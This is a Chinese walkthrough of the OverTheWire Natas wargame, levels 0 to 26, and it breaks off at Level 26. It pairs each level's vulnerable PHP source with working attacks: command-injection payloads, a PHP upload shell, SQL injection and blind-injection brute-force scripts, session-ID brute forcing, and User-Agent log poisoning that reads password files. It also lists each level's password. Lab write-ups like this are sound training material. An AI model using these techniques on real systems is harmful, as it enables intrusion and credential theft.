OverTheWire-Natas 靶场

OverTheWire Natas 靶场

https://overthewire.org/wargames/natas/

起始:http://natas0.natas.labs.overthewire.org

Level 0

1
natas0

右键查看源代码得到下一关密码:

image-20200208210707377

Level 1

1
gtVrDuiDfck831PqWsLEZy5gyDz1clto 

这一关右键被锁定,那就通过 F12 查看源码得到密码:

image-20200208210943249

Level 2

1
ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi

访问网页后,页面内没有任何东西,只引用了一个一个像素点的图片:

image-20200208213223076

这个图片文件也没有任何东西,但是访问/files文件夹时发现这个目录可列:

image-20200208213329941

访问users.txt获得密码:

image-20200208213346465

Level 3

1
sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14

image-20200208213433653

根据提示,说连Google都找不到,猜测是robots协议,尝试访问 robots.txt

image-20200208213518821

访问目录得到密码:

image-20200208213540871

Level 4

1
Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ

image-20200208213633809

根据提示,添加Refer:

image-20200208213846501

得到密码:

image-20200208213858778

Level 5

1
iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq

img

抓包查看:

image-20200208214521697

修改Cookie里面的loggedin=1即可得到密码:

image-20200208214612672

Level 6

1
aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1

image-20200208214902828

点击查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas6", "pass": "<censored>" };</script></head>
<body>
<h1>natas6</h1>
<div id="content">

<?

include "includes/secret.inc";

if(array_key_exists("submit", $_POST)) {
if($secret == $_POST['secret']) {
print "Access granted. The password for natas7 is <censored>";
} else {
print "Wrong secret";
}
}
?>

<form method=post>
Input secret: <input name=secret><br>
<input type=submit name=submit>
</form>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

发现包含文件 includes/secret.inc

访问之查看源码:

image-20200208215144760

提交得到密码

Level 7

1
7z3hEENjQtflzgnT29q7wAvMNfZdh0i9

点击页面链接,发现地址栏变动,猜测文件包含

image-20200208215355851

image-20200208215403961

当前页面源代码中带有提示:

image-20200208215420947

page=/etc/natas_webpass/natas8 即可得到密码

Level 8

1
DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe 

查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<body>
<h1>natas8</h1>
<div id="content">

<?

$encodedSecret = "3d3d516343746d4d6d6c315669563362";

function encodeSecret($secret) {
return bin2hex(strrev(base64_encode($secret)));
}

if(array_key_exists("submit", $_POST)) {
if(encodeSecret($_POST['secret']) == $encodedSecret) {
print "Access granted. The password for natas9 is <censored>";
} else {
print "Wrong secret";
}
}
?>

<form method=post>
Input secret: <input name=secret><br>
<input type=submit name=submit>
</form>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
  • bin2hex() 函数把 ASCII 字符的字符串转换为十六进制值,其反函数为hex2bin()。

  • strrev() 函数反转字符串。

  • base64_encode() 函数进行base64加密。

构造解码函数:

1
2
3
4
5
<?php
function decodeSecret($secret){
return base64_decode(strrev(hex2bin($secret)));
}
echo decodeSecret("3d3d516343746d4d6d6c315669563362");

解码得到 oubWYf2kBq,提交得到密码

Level 9

1
W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl

查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<body>
<h1>natas9</h1>
<div id="content">
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>


Output:
<pre>
<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}

if($key != "") {
passthru("grep -i $key dictionary.txt");
}
?>
</pre>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

猜测命令执行,提交 | ls -al 返回:

image-20200208220904544

构造语句:

1
& cat /etc/natas_webpass/natas10 &

得到下一关密码

Level 10

1
nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu

查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<body>
<h1>natas10</h1>
<div id="content">

For security reasons, we now filter on certain characters<br/><br/>
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>


Output:
<pre>
<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}

if($key != "") {
if(preg_match('/[;|&]/',$key)) {
print "Input contains an illegal character!";
} else {
passthru("grep -i $key dictionary.txt");
}
}
?>
</pre>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

同样是命令执行,不过这一次进行了正则过滤,过滤了 ; | & ,经过测试,%0A 也无效果。

这里利用 grep 查看文件:

1
grep -i . filename

构造命令:grep -i . /etc/natas_webpass/natas11 # dictionary.txt, (# 用于注释后续内容)查看密码

Level 11

1
U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK

image-20200209090045175

查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
<?

$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");

function xor_encrypt($in) {
$key = '<censored>';
$text = $in;
$outText = '';

// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)];
}

return $outText;
}

function loadData($def) {
global $_COOKIE;
$mydata = $def;
if(array_key_exists("data", $_COOKIE)) {
$tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {
if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
$mydata['showpassword'] = $tempdata['showpassword'];
$mydata['bgcolor'] = $tempdata['bgcolor'];
}
}
}
return $mydata;
}

function saveData($d) {
setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}

$data = loadData($defaultdata);

if(array_key_exists("bgcolor",$_REQUEST)) {
if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) {
$data['bgcolor'] = $_REQUEST['bgcolor'];
}
}

saveData($data);



?>

<h1>natas11</h1>
<div id="content">
<body style="background: <?=$data['bgcolor']?>;">
Cookies are protected with XOR encryption<br/><br/>

<?
if($data["showpassword"] == "yes") {
print "The password for natas12 is <censored><br>";
}

?>

<form>
Background color: <input name=bgcolor value="<?=$data['bgcolor']?>">
<input type=submit value="Set color">
</form>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

进行代码审计,编写函数解密出 $key 的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$defaultdata = json_encode(array( "showpassword"=>"no", "bgcolor"=>"#ffffff"));
// 从cookie中找到data的值
$data = "ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw=";
function calc($defaultdata, $data) {
$key = '';
$text = $defaultdata;
$outText = base64_decode($data);
for($i=0;$i<strlen($text);$i++) {
$key .= $text[$i] ^ $outText[$i];
}
return $key;
}
echo calc($defaultdata, $data);
// 得到:qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jq
// 所以 $key = qw8J

然后构造数据重写cookie:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$data = "ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw=";
function xor_encrypt($in) {
$key = 'qw8J';
$text = $in;
$outText = '';
// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)];
}
return $outText;
}
$arr = json_decode(xor_encrypt(base64_decode($data)), true);
$arr['showpassword'] = "yes";
echo base64_encode(xor_encrypt(json_encode($arr)));
// 得到 ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK

修改数据包Cookie发送,得到密码:

image-20200209100311627

Level 12

1
EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3

image-20200209100452614

查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<? 

function genRandomString() {
$length = 10;
$characters = "0123456789abcdefghijklmnopqrstuvwxyz";
$string = "";

for ($p = 0; $p < $length; $p++) {
$string .= $characters[mt_rand(0, strlen($characters)-1)];
}

return $string;
}

function makeRandomPath($dir, $ext) {
do {
$path = $dir."/".genRandomString().".".$ext;
} while(file_exists($path));
return $path;
}

function makeRandomPathFromFilename($dir, $fn) {
$ext = pathinfo($fn, PATHINFO_EXTENSION);
return makeRandomPath($dir, $ext);
}

if(array_key_exists("filename", $_POST)) {
$target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);


if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
echo "File is too big";
} else {
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
} else{
echo "There was an error uploading the file, please try again!";
}
}
} else {
?>
<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
<? } ?>

文件上传,利用 $ext = pathinfo($fn, PATHINFO_EXTENSION);,抓包修改文件后缀为.php

php脚本为:

1
2
<?php
system("cat /etc/natas_webpass/natas13");

访问返回的网址即可得到密码

Level 13

1
jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY 

查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
if(array_key_exists("filename", $_POST)) {
$target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);

$err=$_FILES['uploadedfile']['error'];
if($err){
if($err === 2){
echo "The uploaded file exceeds MAX_FILE_SIZE";
} else{
echo "Something went wrong :/";
}
} else if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
echo "File is too big";
} else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
echo "File is not an image";
} else {
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
} else{
echo "There was an error uploading the file, please try again!";
}
}
}
?>

新增一个exif判断文件是否为图片:exif_imagetype($_FILES['uploadedfile']['tmp_name'])

在php文件头部添加 GIF; 即可绕过

image-20200209102904374

Level 14

1
Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1

image-20200209103237780

查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<body>
<h1>natas14</h1>
<div id="content">
<?
if(array_key_exists("username", $_REQUEST)) {
$link = mysql_connect('localhost', 'natas14', '<censored>');
mysql_select_db('natas14', $link);

$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}

if(mysql_num_rows(mysql_query($query, $link)) > 0) {
echo "Successful login! The password for natas15 is <censored><br>";
} else {
echo "Access denied!<br>";
}
mysql_close($link);
} else {
?>

<form action="index.php" method="POST">
Username: <input name="username"><br>
Password: <input name="password"><br>
<input type="submit" value="Login" />
</form>
<? } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>

万能密码绕过:admin" or "1"="1

image-20200209103625234

Level 15

1
AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J

image-20200209103730879

查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?

/*
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
*/

if(array_key_exists("username", $_REQUEST)) {
$link = mysql_connect('localhost', 'natas15', '<censored>');
mysql_select_db('natas15', $link);

$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}

$res = mysql_query($query, $link);
if($res) {
if(mysql_num_rows($res) > 0) {
echo "This user exists.<br>";
} else {
echo "This user doesn't exist.<br>";
}
} else {
echo "Error in query.<br>";
}

mysql_close($link);
} else {
?>

根据源码,推测是盲注。

写脚本爆破(这是一个简陋的脚本):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
import re

url = "http://natas15.natas.labs.overthewire.org/index.php?debug=1"
headers = {'Authorization': "Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg==", }
basic = 'natas16"and"substr(password,1,1)">"'
words = []

for i in range(ord('0'), ord('9') + 1):
words.append(chr(i))
for i in range(ord('A'), ord('Z') + 1):
words.append(chr(i))
for i in range(ord('a'), ord('z') + 1):
words.append(chr(i))

password = ''
for t in range(33):
for i in words:
data = {
'username': 'natas16" and substr((SELECT password FROM users WHERE `username`= "natas16"),'+str(t+1)+',1)= BINARY "' + i + '" #'
}
result = requests.post(url, data=data, headers=headers)
ans = re.findall('(.*)<br>', result.text)
tip = re.findall('<br>(.*)<br>', result.text)[0]
print(ans[0])
if (tip == "This user exists."):
password += i
print(password)
break

Level 16

1
WaIHEacj63wnNIBROHeqi3p9t0m5nhmh

参考链接:https://www.freebuf.com/column/182518.html

查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<body>
<h1>natas16</h1>
<div id="content">

For security reasons, we now filter even more on certain characters<br/><br/>
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>


Output:
<pre>
<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}

if($key != "") {
if(preg_match('/[;|&`\'"]/',$key)) {
print "Input contains an illegal character!";
} else {
passthru("grep -i \"$key\" dictionary.txt");
}
}
?>
</pre>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>

同样是命令执行,不过这一次过滤的更多,而且将传入的 $key 置于一对双引号之间

但是没有过滤 $ ( )

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# -*- coding:utf-8 -*-
# Time: 2020/2/10 10:09
import requests
import re

url = "http://natas16.natas.labs.overthewire.org/index.php?needle="
headers = {'Authorization': "Basic bmF0YXMxNjpXYUlIRWFjajYzd25OSUJST0hlcWkzcDl0MG01bmhtaA==", }
words = []
password = ''

for i in range(ord('0'), ord('9') + 1):
words.append(chr(i))
for i in range(ord('A'), ord('Z') + 1):
words.append(chr(i))
for i in range(ord('a'), ord('z') + 1):
words.append(chr(i))

for t in range(32):
for i in words:
# 爆破出密码:利用$()内部执行grep ^加爆破的数据,后面拼接dictionary.txt中存在的单词,进行逐位爆破
# 当爆破位正确时应当返回空,错误时返回拼接的那个单词
query = "$(grep ^" + password + i + " /etc/natas_webpass/natas17)African"
re = requests.get(url=url + query, headers=headers)
if len(re.text) != 1122:
password += i
print(password)
break
else:
print(".", end="")

image-20200210110001888

Level 17

1
8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw

查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<body>
<h1>natas17</h1>
<div id="content">
<?

/*
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
*/

if(array_key_exists("username", $_REQUEST)) {
$link = mysql_connect('localhost', 'natas17', '<censored>');
mysql_select_db('natas17', $link);

$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}

$res = mysql_query($query, $link);
if($res) {
if(mysql_num_rows($res) > 0) {
//echo "This user exists.<br>";
} else {
//echo "This user doesn't exist.<br>";
}
} else {
//echo "Error in query.<br>";
}

mysql_close($link);
} else {
?>

<form action="index.php" method="POST">
Username: <input name="username"><br>
<input type="submit" value="Check existence" />
</form>
<? } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>

基于时间的盲注

Python脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
# -*- coding:utf-8 -*-
# Time: 2020/2/10 11:06

import requests
import time

url = "http://natas17.natas.labs.overthewire.org/index.php?debug=1"
headers = {'Authorization': "Basic bmF0YXMxNzo4UHMzSDBHV2JuNXJkOVM3R21BZGdRTmRraFBrcTljdw==", }
words = []

for i in range(ord('0'), ord('9') + 1):
words.append(chr(i))
for i in range(ord('A'), ord('Z') + 1):
words.append(chr(i))
for i in range(ord('a'), ord('z') + 1):
words.append(chr(i))

password = ''


for t in range(32):
while True:
flag = False
for i in words:
data = {
'username': 'natas18" and if(substr((SELECT password FROM users WHERE `username`= "natas18"),' + str(
t + 1) + ',1)= BINARY "' + i + '",0,sleep(3)) #'
}
stime = time.time()
while True:
try:
res = requests.post(url, data=data, headers=headers)
except requests.exceptions.ConnectTimeout:
continue
break
etime = time.time()

if (etime - stime < 3):
password += i
flag = True
print(password)
print("进度:", (t + 1), "/32", "本次请求用时:", etime - stime, '字符:', i)
if flag == False:
continue
else:
break

Level 18

1
xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP

image-20200210143041922

查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
<?

$maxid = 640; // 640 should be enough for everyone

function isValidAdminLogin() { /* {{{ */
if($_REQUEST["username"] == "admin") {
/* This method of authentication appears to be unsafe and has been disabled for now. */
//return 1;
}

return 0;
}
/* }}} */
function isValidID($id) { /* {{{ */
return is_numeric($id);
}
/* }}} */
function createID($user) { /* {{{ */
global $maxid;
return rand(1, $maxid);
}
/* }}} */
function debug($msg) { /* {{{ */
if(array_key_exists("debug", $_GET)) {
print "DEBUG: $msg<br>";
}
}
/* }}} */
function my_session_start() { /* {{{ */
if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) {
if(!session_start()) {
debug("Session start failed");
return false;
} else {
debug("Session start ok");
if(!array_key_exists("admin", $_SESSION)) {
debug("Session was old: admin flag set");
$_SESSION["admin"] = 0; // backwards compatible, secure
}
return true;
}
}

return false;
}
/* }}} */
function print_credentials() { /* {{{ */
if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
print "You are an admin. The credentials for the next level are:<br>";
print "<pre>Username: natas19\n";
print "Password: <censored></pre>";
} else {
print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19.";
}
}
/* }}} */

$showform = true;
if(my_session_start()) {
print_credentials();
$showform = false;
} else {
if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) {
session_id(createID($_REQUEST["username"]));
session_start();
$_SESSION["admin"] = isValidAdminLogin();
debug("New session started");
$showform = false;
print_credentials();
}
}

if($showform) {
?>

服务端通过验证 PHPSESSID 来确认身份,范围在640以内,爆破即可:

利用Burp:

image-20200211095953166

image-20200211100025482

image-20200211100447711

Level 19

1
4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs

image-20200211102211284

抓包查看PHPSESSID:

image-20200211102237920

多次请求,发现返回的PHPSESSID后一部分都相同

image-20200211102326468

image-20200211102335129

这一串字符像十六进制编码,转字符串后得到:

image-20200211102424647

应该是 id-username

爆破脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
# -*- coding:utf-8 -*-
# Time: 2020/2/11 10:31

import requests
import threading
import queue

class DoRun(threading.Thread):
def __init__(self, queue):
threading.Thread.__init__(self)
self._queue = queue

def run(self):
while not self._queue.empty():
encodeID = self._queue.get()
headers = {
'Authorization': "Basic bmF0YXMxOTo0SXdJcmVrY3VabEE5T3NqT2tvVXR3VTZsaG9rQ1BZcw==",
'Cookie': "PHPSESSID=" + encodeID
}
res = requests.post(url, headers=headers)
if len(res.text) != 1050:
print(res.text)
else:
print('.',end='')


url = "http://natas19.natas.labs.overthewire.org/index.php"

def main():
threads = []
threads_count = 50
Queue = queue.Queue()

for id in range(1, 641):
code = str(id) + "-admin"
encodeID = ''.join([hex(ord(c)).replace('0x', '') for c in code])
Queue.put(encodeID)

for i in range(threads_count):
threads.append(DoRun(Queue))

for i in threads:
i.start()

for i in threads:
i.join()

if __name__ == '__main__':
main()

Level 20

1
eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF

image-20200211114208651

查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
function myread($sid) { 
debug("MYREAD $sid");
if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {
debug("Invalid SID");
return "";
}
$filename = session_save_path() . "/" . "mysess_" . $sid;
if(!file_exists($filename)) {
debug("Session file doesn't exist");
return "";
}
debug("Reading from ". $filename);
$data = file_get_contents($filename);
$_SESSION = array();
foreach(explode("\n", $data) as $line) {
debug("Read [$line]");
$parts = explode(" ", $line, 2);
if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1];
}
return session_encode();
}

function mywrite($sid, $data) {
// $data contains the serialized version of $_SESSION
// but our encoding is better
debug("MYWRITE $sid $data");
// make sure the sid is alnum only!!
if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {
debug("Invalid SID");
return;
}
$filename = session_save_path() . "/" . "mysess_" . $sid;
$data = "";
debug("Saving in ". $filename);
ksort($_SESSION);
foreach($_SESSION as $key => $value) {
debug("$key => $value");
$data .= "$key $value\n";
}
file_put_contents($filename, $data);
chmod($filename, 0600);
}

查看DEBUG信息:

image-20200211114343529

1
2
3
4
5
6
$_SESSION = array();
foreach(explode("\n", $data) as $line) {
debug("Read [$line]");
$parts = explode(" ", $line, 2);
if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1];
}

这里会将 $data 的值按行处理,比如这里 data 里的内容是 name admin 经过拆分后,设置 $_SESSION['name'] = admin

那么可以构造 data 数据,令 SESSION 中的 admin = 1

data = admin \n admin 1\n

直接修改请求包:image-20200211115607201

再次请求即可得到密码:

image-20200211115830586

Level 21

1
IFekPyrQXftziDEsUr3x21sYuahypdgJ

image-20200211120112869

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?

function print_credentials() { /* {{{ */
if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
print "You are an admin. The credentials for the next level are:<br>";
print "<pre>Username: natas22\n";
print "Password: <censored></pre>";
} else {
print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas22.";
}
}
/* }}} */

session_start();
print_credentials();

?>

image-20200211120153515

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?  

session_start();

// if update was submitted, store it
if(array_key_exists("submit", $_REQUEST)) {
foreach($_REQUEST as $key => $val) {
$_SESSION[$key] = $val;
}
}

if(array_key_exists("debug", $_GET)) {
print "[DEBUG] Session contents:<br>";
print_r($_SESSION);
}

// only allow these keys
$validkeys = array("align" => "center", "fontsize" => "100%", "bgcolor" => "yellow");
$form = "";

$form .= '<form action="index.php" method="POST">';
foreach($validkeys as $key => $defval) {
$val = $defval;
if(array_key_exists($key, $_SESSION)) {
$val = $_SESSION[$key];
} else {
$_SESSION[$key] = $val;
}
$form .= "$key: <input name='$key' value='$val' /><br>";
}
$form .= '<input type="submit" name="submit" value="Update" />';
$form .= '</form>';

$style = "background-color: ".$_SESSION["bgcolor"]."; text-align: ".$_SESSION["align"]."; font-size: ".$_SESSION["fontsize"].";";
$example = "<div style='$style'>Hello world!</div>";

?>

直接在链接的页面POST的数据中添加 admin=1

image-20200211120733742

然后携带此PHPSESSID去请求原页面,即可得到密码

image-20200211120815810

Level 22

1
chG9fbe1Tq2eWVMgjYYD1MsfIvN461kJ

查看代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?
session_start();

if(array_key_exists("revelio", $_GET)) {
// only admins can reveal the password
if(!($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1)) {
header("Location: /");
}
}
?>

<?
if(array_key_exists("revelio", $_GET)) {
print "You are an admin. The credentials for the next level are:<br>";
print "<pre>Username: natas23\n";
print "Password: <censored></pre>";
}
?>

需要GET一个revelio,同时如果存在revelio会重定向回首页,所以要抓包查看返回的密码

image-20200211122500537

Level 23

1
D0vlad33nQF0Hz2EP255TP5wSW9ZsRSE

image-20200211122550862

1
2
3
4
5
6
7
8
9
10
11
12
<?php
if(array_key_exists("passwd",$_REQUEST)){
if(strstr($_REQUEST["passwd"],"iloveyou") && ($_REQUEST["passwd"] > 10 )){
echo "<br>The credentials for the next level are:<br>";
echo "<pre>Username: natas24 Password: <censored></pre>";
}
else{
echo "<br>Wrong!<br>";
}
}
// morla / 10111
?>

strstr — 查找字符串的首次出现

https://www.php.net/manual/zh/function.strstr.php

提交的密码既存在 iloveyou ,又要大于10即可得到密码 20iloveyou

  • PHP 中字符串和数字的大小比较:
    • 从字符串起始位置截取数字部分,如果没有则为0 image-20200211124502912

Level 24

1
OsRmXFguozKpTZZ5X14zNO43379LZveg
1
2
3
4
5
6
7
8
9
10
11
12
<?php
if(array_key_exists("passwd",$_REQUEST)){
if(!strcmp($_REQUEST["passwd"],"<censored>")){
echo "<br>The credentials for the next level are:<br>";
echo "<pre>Username: natas25 Password: <censored></pre>";
}
else{
echo "<br>Wrong!<br>";
}
}
// morla / 10111
?>

利用strcmp报错绕过:(当提交的passwd是一个数组或是一个Object时即可绕过)

1
http://natas24.natas.labs.overthewire.org/?passwd[]=1

image-20200211124912818

Level 25

1
GHF6X7YwACaYYssHVY05cFq83hRktl4c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
// cheers and <3 to malvina
// - morla

function setLanguage(){
/* language setup */
if(array_key_exists("lang",$_REQUEST))
if(safeinclude("language/" . $_REQUEST["lang"] ))
return 1;
safeinclude("language/en");
}

function safeinclude($filename){
// check for directory traversal
if(strstr($filename,"../")){
logRequest("Directory traversal attempt! fixing request.");
$filename=str_replace("../","",$filename);
}
// dont let ppl steal our passwords
if(strstr($filename,"natas_webpass")){
logRequest("Illegal file access detected! Aborting!");
exit(-1);
}
// add more checks...

if (file_exists($filename)) {
include($filename);
return 1;
}
return 0;
}

function listFiles($path){
$listoffiles=array();
if ($handle = opendir($path))
while (false !== ($file = readdir($handle)))
if ($file != "." && $file != "..")
$listoffiles[]=$file;

closedir($handle);
return $listoffiles;
}

function logRequest($message){
$log="[". date("d.m.Y H::i:s",time()) ."]";
$log=$log . " " . $_SERVER['HTTP_USER_AGENT'];
$log=$log . " \"" . $message ."\"\n";
$fd=fopen("/var/www/natas/natas25/logs/natas25_" . session_id() .".log","a");
fwrite($fd,$log);
fclose($fd);
}
?>

目录遍历,这里只是将 ../ 替换为空,可以通过双写绕过 ....//

可以看到当前路径

因为后续将 natas_webpass 置于黑名单了,所以不能直接读取,那么就要利用后面的写日志操间接读取,根据函数中的命名,查看当前SID的日志

image-20200211151156489

在 User-Agent 处进行构造:

1
User-Agent: <?php echo file_get_contents('/etc/natas_webpass/natas26');?>

再次请求即可得到密码:

image-20200211151934402

Level 26

1
oGgWAJ7zcGT28vYazGo4rkhOPDhBu34T

查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
